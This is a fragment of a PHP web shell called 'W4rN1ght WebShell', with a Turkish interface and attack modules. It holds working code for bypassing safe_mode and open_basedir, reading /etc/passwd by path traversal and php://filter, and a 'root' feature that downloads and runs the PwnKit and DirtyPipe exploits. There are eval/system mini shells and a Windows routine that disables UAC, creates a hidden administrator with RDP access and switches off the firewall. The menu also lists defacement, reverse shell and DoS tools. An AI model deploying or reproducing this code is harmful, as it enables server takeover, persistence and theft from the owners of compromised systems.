';}elseif($m==2){$ini=@file_put_contents('php.ini',"safe_mode=Off\ndisable_functions=\nopen_basedir=\n"); echo $ini?'

php.ini yazıldı.

':'

php.ini yazılamadı!

';}elseif($m==3){@ini_set('safe_mode',0); @ini_set('disable_functions',''); echo '

ini_set() denendi.

';}elseif($m==4){$t=@execute_command('id'); if($t&&!strpos($t,'execution failed')) echo '

disable_functions bypass başarılı!

'; else echo '

Başarısız!

';}elseif($m==5){$t=@file_get_contents('../../../../../../etc/passwd'); if($t) echo '

Path traversal başarılı!

'; else echo '

Başarısız!

';}} ?>

OPEN BASEDIR BYPASS

Open Basedir: '.$ob.'

'; if(isset($_POST['ob_method'])){$m=$_POST['ob_method']; if($m==1){$d='ob_'.rand(); mkdir($d); if(@symlink('/etc/passwd',$d.'/pwd')) echo '

Symlink başarılı

'; else echo '

Symlink başarısız

';}elseif($m==2){@ini_restore('open_basedir'); echo '

ini_restore() denendi

';}elseif($m==3){$t=@file_get_contents('../../../../../../etc/passwd'); echo $t?'

Path traversal başarılı

':'

Başarısız

';}elseif($m==4){$t=@file_get_contents('file:///etc/passwd'); echo $t?'

file:// başarılı

':'

Başarısız

';}elseif($m==5){$t=@file_get_contents('php://filter/convert.base64-encode/resource=/etc/passwd'); if($t){$d=base64_decode($t); echo '

php://filter başarılı

'.substr($d,0,500).'

';}else echo '

Başarısız

';}} ?>

SQL FILE READER

connect_error) echo '

Bağlantı hatası: '.$conn->connect_error.'

'; else{$q="SELECT LOAD_FILE('".$conn->real_escape_string($f)."') as content"; $r=$conn->query($q); if($r&&$r->num_rows>0){$row=$r->fetch_assoc(); if($row['content']) echo '

'.htmlspecialchars($row['content']).'

'; else echo '

Dosya boş/okunamıyor

';}else echo '

Sorgu hatası

'; $conn->close();}} ?>

AUTO ROOT

Sadece Linux

'; else{if(isset($_POST['do_root'])){echo '

Root deneniyor...

'; $b=execute_command('id'); echo '

'.$b.'

'; $ex=array('pwnkit'=>'https://github.com/ly4k/PwnKit/raw/main/PwnKit','dirtypipe'=>'https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/raw/main/exploit-1'); $c=$_POST['exploit']??'pwnkit'; $u=$ex[$c]; $fn=basename($u); execute_command('wget -q '.$u.' -O '.$fn.' 2>/dev/null || curl -s -o '.$fn.' '.$u); if(file_exists($fn)){execute_command('chmod +x '.$fn); $o=execute_command('./'.$fn); $a=execute_command('id'); echo '

'.$a.'

'; if(strpos($a,'uid=0(root)')!==false) echo '

✅ ROOT!

'; else echo '

❌ Root olunamadı

'; echo '

'.$o.'

';}else echo '

Exploit indirilemedi

';}} ?>

CVE SCANNER

0){echo '

Potansiyel açıklar:

'.$cve.'

Root dene

';}else echo '

Bilinen CVE bulunamadı

';} ?>

MINI SHELLS

'.$s.'

'; if($s=='PHP'){if(isset($_POST['php_code'])){eval($_POST['php_code']);} echo '';}elseif($s=='Python'){if(isset($_POST['python_cmd'])){$c=$_POST['python_cmd']; system("python -c \"$c\" 2>&1");} echo '';}elseif($s=='Perl'){if(isset($_POST['perl_cmd'])){$c=$_POST['perl_cmd']; system("perl -e \"$c\" 2>&1");} echo '';}elseif($s=='Ruby'){if(isset($_POST['ruby_cmd'])){$c=$_POST['ruby_cmd']; system("ruby -e \"$c\" 2>&1");} echo '';}elseif($s=='Bash'){if(isset($_POST['bash_cmd'])){$c=$_POST['bash_cmd']; system("bash -c \"$c\" 2>&1");} echo '';}else{if(isset($_POST['cgi_cmd'])){$c=$_POST['cgi_cmd']; system("$c 2>&1");} echo '';} echo '

';} ?>

WINDOWS ADMIN EKLE + UAC BYPASS + RDP

Bu araç sadece Windows sistemlerde çalışır.

'; } else { if(isset($_POST['win_user']) && isset($_POST['win_pass'])) { $user = $_POST['win_user']; $pass = $_POST['win_pass']; echo '

İşlemler başlatılıyor...

'; $uac_bypass = execute_command('reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f'); echo '

UAC Bypass: ' . htmlspecialchars($uac_bypass) . '

'; $add = execute_command("net user $user $pass /add"); if(strpos($add, 'successfully') !== false) { echo '

Kullanıcı oluşturuldu: ' . $user . '

'; $admin_add = execute_command("net localgroup Administrators $user /add"); if(strpos($admin_add, 'successfully') !== false) echo '

Kullanıcı Administrators grubuna eklendi.

'; $rdp_add = execute_command("net localgroup \"Remote Desktop Users\" $user /add"); if(strpos($rdp_add, 'successfully') !== false) echo '

Kullanıcı Remote Desktop Users grubuna eklendi.

'; execute_command("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"); execute_command("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes"); if(isset($_POST['disable_firewall'])) { execute_command("netsh advfirewall set allprofiles state off"); echo '

Firewall kapatıldı.

'; } execute_command("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SebDebugPrivilege\" /v $user /t REG_DWORD /d 1 /f"); echo '

İşlemler tamamlandı! Kullanıcı giriş yapabilir.

'; } else { echo '

Kullanıcı oluşturulamadı: ' . htmlspecialchars($add) . '

'; } } ?>

ZIP PACKER

open($zn,ZipArchive::CREATE)!==true) echo '

ZIP oluşturulamadı!

'; else{foreach($fs as $f){$f=trim($f); if(file_exists($f)){if(is_file($f)) $zip->addFile($f,basename($f)); elseif(is_dir($f)){$fs2=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f)); foreach($fs2 as $ff){if($ff->isDir()) continue; $local=str_replace($f,basename($f).'/',$ff->getPathname()); $zip->addFile($ff->getPathname(),$local);}}}} $zip->close(); if($pw) execute_command("zip -P $pw $zn.zip ".implode(' ',$fs)); echo '

ZIP İndir

';}} ?>

SMART BYPASS

'.htmlspecialchars($content).'

'; else echo '

Dosya okunamadı!

'; } ?>

W4rN1ght WebShell

File Manager

Command

Smart Bypass

BypassHell

Auto Config

File Fucker

Domain Lister

Port Scanner

Mass Defacer

Reverse Shell

PrivEsc Scanner

SSH Creator

DoS Flooder

CPanel Fake

Backup Alma

Mail Sender

Adminer Yükle

Database Dump

Safe Mode Bypass

Open Basedir Bypass

SQL File Reader

Auto Root

CVE Scanner

Mini Shells

Windows Admin

ZIP Packer

Düzenleniyor: ' . htmlspecialchars($fileName) . ' (' . format_bytes($fileSize) . ')

' . $method . ':

Bulunan kritik dosyalar:

Bulunan domainler:

Açık portlar:

'.count($d).' dosya deface edildi:

LOGIN SAYFALARI (kpanel.php):

PASSWORD RESET SAYFALARI (reset.php):

Potansiyel açıklar: